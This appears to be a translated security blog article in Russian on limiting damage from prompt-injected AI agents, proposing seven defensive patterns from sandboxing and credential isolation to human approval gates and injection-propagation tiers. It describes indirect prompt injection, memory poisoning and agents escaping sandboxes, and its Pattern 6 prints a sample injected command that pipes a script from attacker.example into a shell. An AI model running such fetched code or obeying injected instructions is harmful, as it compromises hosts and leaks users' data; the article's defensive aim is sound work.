Работа в условиях смертоносной тройки: уменьшение радиуса взрыва при развертывании агентов ИИ.

В компаниях уже внедряются ИИ-агенты, способные читать файлы, вызывать API и выполнять действия. Эти агенты часто работают в центре того, что Саймон Уиллисон называет «смертельной триадой»: они могут получать доступ к конфиденциальным данным, обрабатывать ненадежный контент и взаимодействовать с внешними системами, что делает их уязвимыми для кражи данных посредством косвенной инъекции подсказок — когда злоумышленник внедряет инструкции в контент, который агент читает от имени доверенного пользователя, например, электронное письмо, веб-страницу или документ. Агент следует внедренным инструкциям с правами пользователя, и пользователь никогда не видит атаки. Правило двух агентов обобщает эту концепцию: агент должен удовлетворять не более чем двум из следующих условий: а) обработка ненадежных входных данных, б) доступ к конфиденциальным системам и в) изменение состояния извне.
Противоречие между полезностью и безопасностью реально. Существуют ценные агенты, возможности которых можно ограничить, выйдя за рамки этой тройки, но те возможности, которые действительно нужны специалистам (чтение моих данных, понимание внешнего контекста, принятие мер), уверенно уходят в опасную зону. Это не ошибка конфигурации; это архитектурная цена полезности. Мы все видели, как пилотные программы терпят неудачу, когда возможности агентов чрезмерно ограничены до такой степени, что они становятся неэффективными. Им нужно пространство для того, чтобы приносить пользу — именно это и делает их мишенью.
Угроза по-прежнему носит преимущественно теоретический характер, поскольку наиболее заметными и широко цитируемыми примерами являются исследовательские демонстрации и подтверждения концепций, но угроза больше не ограничивается лабораториями. Исследование Google, проведенное в апреле 2026 года на основе репозитория Common Crawl, выявило целый ряд внедрений подсказок, встроенных в общедоступные веб-страницы — от безобидных розыгрышей до манипуляций с SEO и попыток утечки данных — и сообщило о 32-процентном увеличении числа вредоносных попыток в период с ноября 2025 года по февраль 2026 года.
До сих пор у нас не было первой громкой, широко известной катастрофы корпоративного масштаба — «момента Challenger», который заставляет учитывать этот риск на каждом уровне управления. Это хорошая новость. Это означает, что мы можем рассматривать сегодняшние сигналы (результаты исследований плюс ранние испытания в реальных условиях) как период предупреждения и опережать события, предполагая прорыв слоя LLM и делая ограничение радиуса взрыва базовым уровнем, используя средства контроля, работающие вне модели, прежде чем злоумышленники внедрят эту технологию в промышленность.
Плохая новость в том, что решить эту проблему непросто. Глубокие архитектурные шаблоны, такие как CaMeL и Dual LLM, перспективны, но на момент написания этой статьи ни один из основных типов агентских систем их не использует. Нам нужна еще одна линия защиты.
В этой статье я рассмотрю семь тактических моделей, которые специалисты по безопасности могут внедрить в течение следующих 1–6 месяцев для снижения рисков, не дожидаясь развития инструментов и средств защиты. Но сначала я рассмотрю необходимую концепцию и ментальную модель для их применения.
Формирование контекста: Три линии защиты
В ответ на косвенное и быстрое внедрение угроз сформировались три различных линии защиты. Понимание текущего положения каждой из них формирует прагматичные подходы, применимые уже сегодня.
- Строка 1: Предотвращение внедрения. Фильтрация входных данных, иерархия инструкций и тонко настроенные классификаторы — все это потенциальные решения для предотвращения внедрения. Проблема в том, что адаптивные атаки неизменно обходят средства защиты. Наср и др. протестировали 12 теоретических методов защиты; специалисты по тестированию на проникновение достигли 100% уровня обхода защиты. Статические атаки на основе примеров неэффективны для оценки средств защиты. Имеют значение только адаптивные атаки, и на данный момент они надежно работают.
- Строка 2: Архитектурное разделение. Паттерн Dual LLM Уиллисона, CaMeL от Google DeepMind и статья о шести паттернах от IBM, ETH Zurich, Google и Microsoft предлагают структурные решения, ограничивающие возможности LLM посредством границ процессов и механизмов управления политиками. CaMeL предлагает особенно сильную архитектурную защиту: модель предлагает действия, а детерминированный механизм управления политиками вне модели решает, следует ли их выполнять. Проблема в том, что в настоящее время не существует готовой к использованию реализации CaMeL. Ни один из распространенных инструментов для работы с агентами — Claude Code, Cursor, Hermes, GitHub Copilot Agent, Gemini CLI — не использует эти паттерны.
- Строка 3: Предположим, что модель LLM нарушена. Именно на этом сейчас должны сосредоточиться специалисты, и я расскажу об этом подробнее чуть позже. Примите тот факт, что модель будет скомпрометирована. Ограничьте зону поражения, используя средства контроля, работающие вне модели: границы процессов, изоляция учетных данных, фильтрация исходящего трафика, контроль доступа для людей и всесторонний аудит.
Ментальная модель «Предположение-Нарушение»
Десять лет назад мы перестали пытаться предотвратить выполнение всех вредоносных программ и начали исходить из предположения о взломе, сосредоточившись на сегментации, принципе наименьших привилегий, EDR и ограничении радиуса поражения. Тот же сдвиг применим и сейчас к агентному ИИ.
Два ключевых перевода для этой области:
- Память — это постоянное хранилище. Загрязнённая запись в памяти — это бэкдор, который загружается при каждой сессии. Рассматривайте операции записи в память как события безопасности и регистрируйте их.
- Профессиональные качества — это жемчужина в короне. Выявляются две четкие цели:
- Цель 1: Не допускать попадания учетных данных в контекстное окно поставщика LLM (обеспечение конфиденциальности от поставщика).
- Цель 2: Полностью исключить доступ к учетным данным среды выполнения агента (обеспечить конфиденциальность данных агента).
Тактические схемы
Следующие семь шаблонов можно применять уже сейчас. Каждое описание ниже содержит подробную информацию о том, что это такое, какие существуют варианты реализации, какие существуют компромиссы и ограничения, а также что нужно делать дальше.
Шаблон 1: Песочница для агентов
Что это такое: Песочница агента устанавливает контролируемые границы вокруг процесса, в котором работает агент, ограничивая то, что он может читать, записывать и получать доступ за пределами разрешенной области. Из всех описанных здесь подходов этот наиболее продвинут; большинство агентов поставляются с той или иной формой песочницы. Проблема в том, что она часто является необязательной, а не включена по умолчанию, и даже если она включена, важно понимать, что она на самом деле дает и в чем ее недостатки.
Например, в Claude Code используется песочница на уровне операционной системы: детерминированные настройки файловой системы и сети, применяемые на уровне ядра. Это необязательная функция, активируемая через параметр /sandbox .
OpenClaw использует другой подход: вызовы инструментов выполняются в контейнерах Docker для каждой сессии, а не на хосте шлюза. Опять же, это добровольная настройка, и в документации OpenClaw об ограничениях говорится: «Это не идеальная граница безопасности, но она существенно ограничивает доступ к файловой системе и процессам, когда модель совершает какие-либо ошибки».
Реализация: nono применяет к процессу агента при запуске списки разрешенных возможностей, установленные ядром, блокируя конфиденциальные пути и не допуская попадания учетных данных в память процесса. Модель не может их переопределить. Она предназначена для локальных рабочих процессов и процессов, ориентированных на разработчиков, а не для удаленных длительно работающих агентов.
Компромиссы и ограничения: Песочница может ограничить сопутствующий ущерб, поскольку она ограничивает возможности скомпрометированного агента за пределами разрешенной области его действий. Но даже эта гарантия слаба. Существует множество примеров того, как агенты выходят за пределы песочницы, либо по указанию, либо в результате непреднамеренных последствий из-за проблем с согласованием (например, агент решил, что не может выполнить задачу внутри песочницы, и поэтому придумал способ выхода).
Песочница также не обеспечивает защиты от злоупотребления инструментами и учетными данными, которые агенту действительно необходимы для выполнения своей работы. Агент в песочнице, который законно хранит секреты и имеет доступ в интернет, все равно может их разглашать; песочница этому не помешает. Именно этот пробел устраняют описанные ниже шаблоны 2–4.
Выполните следующие действия: проверьте, включена ли песочница в вашей текущей среде выполнения (у большинства она по умолчанию отключена). По возможности выбирайте удаленные или облачные среды выполнения (например, Claude code on the Web, Codex web, Replit и т. д.) вместо локальных песочниц, поскольку они обеспечивают более надежное разделение процессов и файловых систем с меньшими затратами на настройку (Copy.Fail — недавнее напоминание об ограничениях изоляции, обеспечиваемой общим ядром).
Шаблон 2: Изоляция учетных данных
Что это такое: Агент вызывает инструмент по имени (например, firewall.list_rules() ). Отдельный процесс или сетевой прокси-сервер получает учетные данные из хранилища, внедряет их и возвращает только очищенный ответ. Агент никогда не видит секретный ключ.
Это структурно удовлетворяет Цели 1: учетные данные не входят в контекст программы LLM.
Реализации:
- Agent Vault — это интересная реализация подобной функции с открытым исходным кодом.
- Для локальных/разработческих рабочих процессов режим прокси-сервера учетных данных nono (см. Шаблон 1) полностью исключает передачу учетных данных в память процесса агента.
- Дмитрий Гайворонский описал простой подход с использованием 1password. В Sophos мы реализовали нечто очень похожее в качестве универсального навыка для агентов.
Компромиссы и ограничения: Агент по-прежнему формирует HTTP-запрос (URL, параметры, заголовки и т. д.). Компрометированный агент может перенаправить обычный прокси-сервер на контролируемую злоумышленником конечную точку и украсть там учетные данные. Это обуславливает следующий подход: использование закрытых инструментов.
Выполните следующие действия: Внедрите этот шаблон для наиболее ценных учетных данных. Там, где это поддерживается (особенно для доступа к вашему поставщику LLM), внедрите федерацию идентификации рабочих нагрузок. Вы пока не решаете задачу 2, но удаляете долгосрочные учетные данные из контекстных окон LLM и журналов аудита.
Схема 3: Герметичные конечные точки инструмента
Что это такое: Агент вообще не может инициировать сетевой вызов. Он вызывает firewall.list_rules() , например, через сервер протокола контекста модели (MCP) или API. Брокерский процесс (соответственно изолированный от агента — см. Шаблон 1) хранит учетные данные, выполняет фактический вызов API в соответствии с фиксированной схемой, обеспечивает соблюдение списка разрешенных исходящих соединений для каждого инструмента и возвращает только проанализированный ответ.
Это удовлетворяет Цели 2, поскольку учетные данные и агент никогда не сосуществуют в одном процессе. Единственный рычаг воздействия агента — это выбор того, какой закрытый инструмент вызвать и какие параметры передать. Он не может изменять заголовки, URL-адреса или механизмы аутентификации.
Реализации: Ни один из найденных нами проектов не обеспечивает столь полную реализацию.
Kelos и gitagent предоставляют реестры инструментов на основе манифестов с потоками GitOps. Недостающим звеном является оркестровка брокера, которая связывает их воедино.
Cedar может работать на уровне шлюза, обеспечивая соблюдение политик PERMIT/DENY для каждого инструмента. Каждый вызов инструмента оценивается на соответствие объявленному правилу (субъект, действие, ресурс, условия) перед выполнением, независимо от рассуждений агента. Репозиторий cedar-for-agents специально ориентирован на этот шаблон. Cedar в режиме только логирования — это практичный способ начать работу: полная прозрачность каждого вызова инструмента до принятия решения о блокировке.
Компромиссы и ограничения: Агент не может импровизировать. Для каждой интеграции необходимо определить инструмент. Динамическое исследование API исключено.
Компромиссный Агенту не нужен секретный ключ, чтобы злоупотреблять API. Принцип минимальных привилегий, обеспечиваемый четко определенными областями действия OAuth и подтверждением пользователем конфиденциальных действий (см. Шаблон 6), по-прежнему применяется.
Выполните следующие действия: Определите 3–5 наиболее важных интеграций (API облачных провайдеров, платежные шлюзы, системы управления идентификацией и т. д.). Оберните их в инструменты MCP с фиксированной схемой, работающие в отдельном контейнере. Агент потеряет гибкость в отношении этих интеграций, но вы получите структурную изоляцию. Для всего остального используйте изоляцию учетных данных.
Шаблон 4: Ограничение исходящего трафика и мониторинг сети.
Что это: Компрометированный агент — это канал утечки данных. Он хранит действующие учетные данные, может считывать информацию из внутренних систем и имеет доступ к исходящей сети. Ограничение исходящего трафика устраняет или ухудшает архитектуру этого канала, а мониторинг сети обнаруживает случаи его использования. Оба подхода необходимы, поскольку одно лишь ограничение пропускает новые пути, а один лишь мониторинг обнаруживает их слишком поздно.
Обнаружение секретов в трафике: такие инструменты, как TruffleHog и Gitleaks, были созданы для репозиториев кода, но их библиотеки шаблонов — регулярные выражения плюс анализ энтропии — напрямую подходят для проверки исходящего HTTP-трафика. Сканирование трафика агента на наличие строк с высокой энтропией, известных форматов учетных данных (префиксы ключей AWS, формы токенов носителя) и шаблонов персональных данных выявляет попытки утечки информации, которые обходят средства контроля на уровне приложений.
Обнаружение сетевых аномалий: NDR и IDS совместно выявляют статистические аномалии, которые могут указывать на утечку данных: неожиданные IP-адреса получателей, необычное использование протоколов и соединения в нетипичное время.
Обнаружение больших объемов загружаемых файлов и категоризация веб-запросов: пороговые значения объема исходящих POST/PUT-запросов позволяют обнаруживать массовую передачу данных, которую не удается выявить с помощью обнаружения по сигнатурам. Категоризация веб-запросов — блокировка или пометка запросов к некатегоризированным, недавно зарегистрированным или заведомо вредоносным доменам — добавляет недорогой фильтр с высоким охватом, не требующий настройки для каждого агента.
Список разрешенных исходящих запросов: При комплексном подходе контроль исходящего трафика может полностью избежать тройной угрозы, но это сопряжено с определенными затратами. Более управляемый подход может включать в себя создание списка разрешенных хешированных секретов (и/или канареечных токенов) и привязку их к авторизованным конечным точкам API путем оповещения и блокировки при отклонениях. Предположение о легитимности первого зафиксированного использования секрета исключит ручную корректировку списка разрешенных запросов, аналогично принципу доверия при первом использовании.
Реализация: Хорошая новость заключается в том, что, хотя создание подобных возможностей — задача нетривиальная, многие из этих сценариев использования очень хорошо согласуются с существующими инструментами для корпоративных сетей.
Компромиссы и ограничения: Строгий список разрешенных исходящих соединений напрямую противоречит полезности агента. Агент, которому необходимо искать, просматривать или вызывать новые API, не может этого сделать через жесткий список разрешенных соединений. Каждая новая интеграция требует обслуживания списка разрешенных соединений, а масштабирование этого процесса на весь парк агентов представляет собой реальную операционную нагрузку. Перехват TLS может быть дорогостоящим/сложным процессом, а сетевые средства контроля дают сбои (или работают!) непредсказуемым образом, что затрудняет отладку.
Выполните следующие действия: Если ваша организация использует NDR и прокси-сервер с категоризацией веб-запросов, у вас уже есть необходимая инфраструктура. Начните с режима только логирования, чтобы создать базовый уровень, а затем добавьте оповещения о больших исходящих POST/PUT-запросах и соединениях с неклассифицированными или недавно зарегистрированными доменами.
Шаблон 5: Обнаружение и реагирование на конечных точках
Что это такое: В конечном итоге скомпрометированный агент должен что-то сделать на хосте: запустить процесс, записать файл, открыть сокет, загрузить библиотеку, вызвать системный вызов и так далее. Именно за этими примитивами и были созданы инструменты защиты конечных точек. Агент, внедренный через командную строку в работающий код, предоставленный злоумышленником, с точки зрения конечной точки неотличим от любого другого вредоносного процесса; он выполняет команды оболочки, размещает исполняемые файлы, совершает сетевые вызовы и объединяет инструменты в цепочки. EDR не нужно понимать командную строку или модель, чтобы отметить такое поведение.
Полезно понимать это так: методы постэксплуатации представляют собой конечное множество, и это множество не меняется только потому, что объект, отдающий инструкции, является моделью, а не человеком-оператором. Современный агент конечной точки ограничивает такое поведение в Linux, macOS и Windows. Если вызов инструмента пытается использовать один из таких методов, срабатывает обнаружение независимо от того, встречалась ли конкретная атака ранее.
На что следует обратить особое внимание: аномальные дочерние процессы, запускаемые средой выполнения агента или его интерпретатором; неожиданные исходящие соединения из процесса агента; запись файлов в конфиденциальные области; попытки чтения хранилищ учетных данных; обращения к доменам с низкой репутацией; и неподписанные или недавно появившиеся исполняемые файлы, выполняемые внутри дерева процессов агента. Это те же самые сигналы, которые EDR уже выявляет для любой другой рабочей нагрузки. Агенты просто являются новым источником этих сигналов.
Реализация: Как и в случае с шаблоном 4, здесь главное — использовать уже имеющиеся ресурсы, а не создавать что-то новое. Если хост, на котором работает агент, охвачен вашим стандартным агентом конечных точек, поведенческое обнаружение, предотвращение эксплойтов и телеметрия дерева процессов применяются автоматически. Задача состоит в том, чтобы убедиться, что среды выполнения агента действительно находятся в зоне действия: контейнеры, временные виртуальные машины и неуправляемые устройства являются распространенными «слепыми зонами». Передавайте телеметрию с хоста-агента в тот же конвейер XDR/SIEM, что и остальную инфраструктуру, чтобы подозрительный вызов инструмента отображался рядом с сигналами горизонтального перемещения, от которых он в противном случае был бы оторван.
Компромиссы и ограничения: EDR видит выполнение, а не намерение. Агент, которому даны законные инструкции и который выполняет деструктивную работу — например, команду `rm -rf` в неправильном каталоге — выглядит нормально для конечной точки, потому что в этой команде нет ничего вредоносного. EDR также наиболее уязвим там, где агенты имеют наименьшие архитектурные преимущества: агенты, размещаемые в SaaS-сервисах, и управляемые среды выполнения, где вы не являетесь владельцем хоста, а также агенты, работающие исключительно через API, которые никогда не затрагивают контролируемые вами процессы. Именно эти пробелы объясняют, почему этот шаблон дополняет, а не заменяет шаблоны 1-4.
Выполните следующие действия: Убедитесь, что на каждом хосте, где запущен агент, — включая средства непрерывной интеграции (CI), хосты контейнеров и машины разработчиков с локальными агентами, — установлен и работает ваш стандартный агент конечной точки. Пометьте процессы агента в вашем EDR, чтобы их телеметрия была доступна для фильтрации.
Шаблон 6: Управление на уровне контроля и утверждения с участием человека.
Что это такое: Тот же принцип применим в двух различных, но взаимосвязанных контекстах, и в обоих случаях требуется одинаковая степень контроля:
- Действия во время выполнения с высокими привилегиями: необратимые операции, такие как развертывание кода, изменение правил брандмауэра или отправка электронных писем, требуют явного подтверждения со стороны человека, прежде чем агент их выполнит.
- Изменения в собственной среде управления агента: Любое изменение возможностей агента, определений инструментов, области действия учетных данных или правил исходящего трафика само по себе является действием с высокими привилегиями, которое изменяет возможности агента при каждом последующем взаимодействии.
В обоих случаях требуется криптографическая процедура, а не простое нажатие кнопки «ОК», которое агент мог бы имитировать или воспроизвести.
Архитектурное решение заключается в разделении автономной плоскости выполнения агента от плоскости управления, управляемой человеком. Агент остается полностью автономным в своей повседневной работе, такой как чтение, рассуждения, написание кода и запуск тестов. Но два описанных выше класса действий проходят через плоскость управления, где человек проверяет и утверждает все действия, прежде чем они будут выполнены или вступят в силу.
Реализации: Примитивы аутентификации для криптографического подтверждения уже существуют и применяются в обоих контекстах. FIDO2/passkeys обеспечивают биометрически контролируемое генерацию криптографических ключей на стандартных устройствах. Расширение WebAuthn PRF позволяет с помощью биометрического жеста генерировать детерминированный ключевой материал, привязанный к конкретному запросу — это означает, что брокер может хранить учетные данные в зашифрованном виде, которые физически невозможно расшифровать без подтверждения человека.
OAuth 2.0 CIBA был разработан для сценария с разделенными устройствами: устройство агента инициирует запрос на аутентификацию по обратному каналу, человек подтверждает его на своем устройстве, а брокер получает ограниченный по области действия, краткосрочный токен, действительный именно для этой транзакции. Identity Assertion JWT Authorization Grant (ID-JAG; проект IETF-ietf-oauth-identity-chaining) является естественным дополнением: после подтверждения человеком через Client-Initiated Backchannel Authentication (CIBA), ID-JAG структурирует результирующее предоставление таким образом, чтобы оно передавало подтверждение личности пользователя через SSO в последующий вызов API, что означает, что токен является атрибутируемым и подлежащим аудиту для пользователя, а не статическим ключом учетной записи службы. Он уже упоминается в разрабатываемом проекте MCP по корпоративной авторизации как рекомендуемый механизм для централизованного контроля доступа на основе IdP в развертываниях агентов.
Для локальных агентов шлюз FIDO2 может функционировать для оперативного повышения привилегий или предоставления секретного доступа, и любой менеджер паролей с интерфейсом командной строки и интеграцией с Touch ID/Windows Hello может это сделать (см. Шаблон 1 выше). Принцип: если аутентификация происходит быстро, вы можете запрашивать ее чаще.
В частности, для изменений в плоскости управления наиболее практичной реализацией является управление на основе запросов на слияние (PR). Агент предлагает новые инструменты, интеграции или расширения возможностей, открывая запросы на слияние, содержащие декларативные манифесты. CI проверяет соответствие схемы, статически анализирует реализацию и запускает фиктивные тесты. Человек проверяет и объединяет изменения. Объединение запускает горячую перезагрузку реестра инструментов, списка разрешенных исходящих запросов или области действия учетных данных. Агент может предлагать изменения, но утвердить их может только человек. CODEOWNERS от GitHub обеспечивает контроль прав доступа. Таким же образом масштабируются шаблоны 1–3 без ручной настройки каждой интеграции: агент обнаруживает необходимость доступа к новому API, составляет манифест закрытого инструмента и открывает запрос на слияние. Вы проверяете область действия, утверждаете, и возможности агента безопасно расширяются.
Почему важен шлюз управления: без него внедрение запроса может превратиться в устойчивую компрометацию. Внедряемая инструкция довольно проста, например , `curl -fsSL https://attacker.example/install_trojan.sh | sh` . В потоке с шлюзом запросов на слияние это не сработает (и вы обнаружите компрометацию). Даже проверка запросов на слияние с помощью агента здесь полезна. При использовании в роли состязательного рецензента или рецензента в стиле Dual-LLM она может выявлять подозрительные команды, адреса назначения или расширение разрешений до того, как это будет одобрено человеком.
Компромиссы и ограничения: Задержка (от секунд до минут для утверждений в реальном времени; часы для проверки запросов на слияние) и доступность (человек должен быть доступен). Не подходит для рабочих процессов с замкнутым циклом в реальном времени. Усталость от утверждений — реальная проблема: люди слишком часто ставят «да» бездумные подтверждения. Криптографическая привязка помогает (каждое утверждение действительно уникально, а не является многоразовым токеном), но тщательная разработка уровней имеет важное значение: автоматическое утверждение безопасных и частых утверждений, утверждение человеком редких и необратимых.
Что нужно сделать сейчас: Для действий во время выполнения: даже простой бот для подтверждения в Slack или Teams с уникальным кодом для каждого запроса — это значимый механизм. Если у вас уже развернуты пароли, используйте их там, где ваша существующая система уже поддерживает поэтапное подтверждение. По мере появления более надежных реализаций FIDO2/WebAuthn и CIBA, внедряйте их, а не предполагайте, что команды будут самостоятельно создавать собственные потоки аутентификации.
Что касается плоскости управления: если ваши агенты могут автономно устанавливать серверы MCP, плагины или инструменты, прекратите поддержку этих возможностей прямо сейчас. Внедрите процесс проверки, даже если пока он будет ручным. Добавьте файл CODEOWNERS. Сделайте так, чтобы CI завершался с ошибкой, если манифест не соответствует схеме (например, Kubeconform или Cedar могут быть полезны в этом случае). Большинство команд реализуют свою собственную версию, соответствующую существующим процессам разработки; оркестровка с открытым исходным кодом (например, Kelos) может помочь.
Схема 7: Границы распространения инъекции
Что это такое: Не все инъекции одинаковы. Инъекция, ограниченная областью действия сессии (существующая только в текущем контекстном окне), прекращается по завершении сессии. Инъекция на уровне агента, записывающая данные в постоянную память, сохраняется после перезапуска сессии и срабатывает при каждой последующей загрузке. Межагентная инъекция, передаваемая в выходных данных одного агента, которые обрабатывает другой агент, может незаметно распространяться через границы доверия. Это не просто разные уровни серьезности; это разные модели угроз, требующие разных мер контроля.
Представьте себе хранимую XSS-атаку: вредоносная программа, введенная через веб-форму, срабатывает не только для последующих пользователей того же приложения, но и потенциально в совершенно других системах, обрабатывающих те же данные, например, в программе просмотра логов или административной панели. Каждое пересечение границы — это шаг распространения, но также и возможность перехвата.
Четыре уровня инъекции:
- Уровень 0: Внедрение сессии . Существует только в текущем контекстном окне и исчезает по завершении сессии. Наименьшая степень серьезности; наибольшая частота возникновения.
- Уровень 1: Внедрение агента через память . Записывает зараженную запись в постоянную память. Срабатывает после перезапуска сессии при каждой загрузке. Рассматривайте запись в память как события безопасности (см. Шаблон 3 / ментальную модель «предположение о нарушении»).
- Уровень 2: Межагентная инъекция посредством прямой связи . Выходные данные одного агента потребляются другим агентом. Полезная нагрузка распространяется через границу между агентами. Контрольной точкой является проверка в канале связи.
- Уровень 3: Межагентная инъекция через общее состояние или протоколы Agent2Agent (A2A) . Агенты совместно используют хранилище памяти, базу данных или взаимодействуют посредством новых протоколов взаимодействия между агентами. Инъекция может распространяться на любого агента, который считывает общее состояние — потенциально между системами, которые вы не контролируете.
Реализация: Для проверки границ и классификации внедрения на уровне связи потенциально полезными вариантами являются prompt-armor и LlamaFirewall. Для сравнительного анализа и оценки эффективности управления границами интересным исследовательским инструментом является Open-Prompt-Injection.
Компромиссы и ограничения: Эта модель скорее описательная, чем предписывающая. Границы между уровнями реальны, но не жесткие — атака уровня 2 переходит в поведение уровня 0, если агенты неосторожно делятся контекстом, а каналы уровня 3 могут быть использованы способами, которые злоумышленник не полностью контролирует. Честно говоря, более высокие уровни ограничивают надежность атаки, а не гарантируют ее сдерживание. Ценность модели заключается в использовании каждой границы уровня как вопроса проектирования: как будет выглядеть внедрение, если оно достигнет этой границы, и какие средства обнаружения или очистки я могу здесь разместить? Граница, которую нельзя полностью закрыть, все еще остается границей, которую можно контролировать.
Границы, особенно между различными агентами, предоставляют возможности для вдохновения, почерпнутые из паттерна Dual LLM Уиллисона, в котором более уязвимая модель отделена от привилегированной, так что внедренные инструкции не могут пересечь границу. Однако более надежные свойства безопасности Dual LLM проявляются только в том случае, если интерфейс между двумя моделями чрезвычайно строг, а доступ привилегированной модели к недоверенным данным тщательно контролируется. Ослабление этих ограничений делает границу проницаемой. Уровни имеют значение лишь в той мере, в какой строгость контроля границ фактически реализуется на каждом этапе.
Выполните следующие действия: сопоставьте вашу систему развертывания с четырьмя уровнями. Если вы используете конфигурацию с одним агентом и одной сессией, вы находитесь на уровне 0, поэтому отслеживайте аномальные инструкции в контекстном окне. Если у вас есть постоянная память, вы находитесь на уровне 1, поэтому реализуйте логирование записи в память и проводите анализ. Если агенты взаимодействуют напрямую или разделяют состояние, рассматривайте каждую границу как вектор внедрения. Проверяйте и очищайте выходные данные агента перед тем, как они будут использованы другим агентом, так же, как вы очищаете пользовательский ввод перед записью в базу данных.
Что делать дальше?
Если вы дочитали до этого места, то, вероятно, понимаете, что это сложная и быстро развивающаяся тема. Поэтому составление плана на 6, 12 или 24 месяца на этом уровне не имеет смысла. Вместо этого, вот список конкретных задач, которые следует рассмотреть на следующей неделе, в следующем месяце и квартале.
На этой неделе:
- Проведите аудит ваших агентов и используемых ими инструментов. Составьте список всех инструментов, всех доступных им учетных данных, текущей конфигурации песочницы и ожидаемых требований к подключению в реестре агентов, чтобы вы могли эффективно применять шаблоны 1–7.
- Лесозаготовка (шаблоны 4-5).
- Отправляйте OpenTelemetry-скрипт для каждого вызова инструмента и пересылайте его в вашу систему XDR/SIEM. Включите идентификатор вызывающего абонента, метку времени, название инструмента, параметры (засекречены), целевую систему, метаданные ответа и информацию об успехе/неудаче (шаблон 5).
- Настройте локальный или сетевой брандмауэр для регистрации всего исходящего сетевого трафика, чтобы получить набор данных о подключении, который впоследствии можно будет включить в список разрешенных каналов (шаблон 4, добавление исходящего трафика в список разрешенных каналов).
- Установите стандартную защиту конечных точек/EDR на каждом хосте, где запущен агент, включая среды CI, хосты контейнеров и машины разработчиков (шаблон 5).
В этом месяце:
- Используйте реестр агентов для выявления долговременных секретов, которые можно «легко» удалить (например, с помощью федерации идентификации рабочих нагрузок) или защитить (шаблон 2).
- Добавьте механизмы контроля со стороны человека для необратимых действий. Даже бот для утверждения в Slack или базовый процесс обработки запросов на слияние — это уже значимый шаг (шаблон 6, действия во время выполнения).
- Улучшите свою песочницу — убедитесь, что она включена для локальных агентов, и используйте временные облачные песочницы, где это возможно (особенно полезно для аудита/проверки ненадежных внешних кодовых баз) (Шаблон 1).
В этом квартале:
- Оберните наиболее важные интеграции в отдельные контейнеры в виде защищенных инструментов MCP. Используйте фиксированные схемы и списки разрешенных исходящих соединений для каждого инструмента. Агент вызывает инструмент; брокер выполняет вызов API (шаблоны 3-4).
- Установка инструмента/плагина Gate в рамках процесса проверки (на основе запросов на слияние или вручную). Добавление проверки CODEOWNERS и схемы CI (шаблон 6, плоскость управления).
- Настройте обнаружение сетевых аномалий — соединения с доменами с низкой репутацией, большие HTTP POST-запросы и т. д. (Шаблон 4, обнаружение сетевых аномалий).
Открытые проблемы
- CaMeL пока не выпускается в серийном производстве. Потенциально самая надежная архитектурная защита остается теоретической. Google DeepMind опубликовала проект в апреле 2025 года; на момент написания этой статьи ни одна готовая реализация еще не выпущена.
- Обнаружение отравления памяти носит эвристический характер. Надежного автоматизированного решения не существует. Использование энтропийных меток позволяет выявить некоторые случаи, а регулярные выражения для фраз инструкций — другие. Опытный злоумышленник может создавать записи в памяти, которые выглядят как легитимный контекст пользователя, но содержат скрытые триггеры. В настоящее время наиболее эффективным методом является проверка записей в память человеком.
- Идентификация агентов. Современные стандарты идентификации не были разработаны для автономных агентов. Некоторые элементы имеют прямое отношение к делу (федерация идентификации рабочих нагрузок для аутентификации между сервисами, CIBA для независимого подтверждения человеком, ID-JAG для передачи идентификации пользователя дальше по потоку), но поддержка у разных поставщиков услуг остается фрагментарной. Это заставляет команды возвращаться к долгосрочным ключам API и учетным данным сервисов там, где они предпочли бы использовать краткосрочные, идентифицируемые токены. Недавняя поддержка федерации идентификации рабочих нагрузок от Anthropic — это значимый шаг вперед, но это все еще скорее исключение, чем правило.
- Усталость от подтверждения. Люди слишком часто ставят «да» бездумные «лайки». Если ваш агент проходит через «ворота подтверждения» 50 раз в день, вы начнете переходить по ссылкам. Пароли могут помочь, уменьшив сложности с аутентификацией, но они не полностью устраняют проблему пользовательского опыта (и, как уже говорилось выше о проблеме «идентификации агента», их интеграция в рабочие процессы представляет собой сложную задачу). Тщательно продумайте уровни подтверждения: автоматическое подтверждение безопасных и часто повторяющихся запросов, одобрение человеком редких и необратимых.
- Доверие между несколькими агентами. Стандартного протокола для делегирования доверия между агентами не существует. Если агент А звонит на инструмент агента Б, как Б проверяет личность и полномочия А?
Заключение
Агенты здесь. Системы защиты не обеспечивают глубокой обороны. Предполагаем прорыв, локализуем взрыв, действуем по принципу итерации.
Специалисты по безопасности уже обладают необходимыми ментальными моделями — мы уже десять лет занимаемся локализацией угроз на основе предположения о нарушении безопасности в сфере защиты конечных точек и сетей — и их применение к агентам ИИ происходит напрямую: границы процессов — это границы доверия, учетные данные — это важнейшие активы, исходящий трафик — это привилегия, а аудит — это непреложная обязанность.
Настройки по умолчанию еще не устоялись. Если мы начнем действовать сейчас, то сможем сделать ограничение радиуса поражения ожидаемым базовым уровнем, а не необязательным этапом усиления защиты. Если же мы будем ждать, то будем модернизировать системы защиты, которые изначально для них не предназначались.

Добавить комментарий
Для отправки комментария вам необходимо авторизоваться.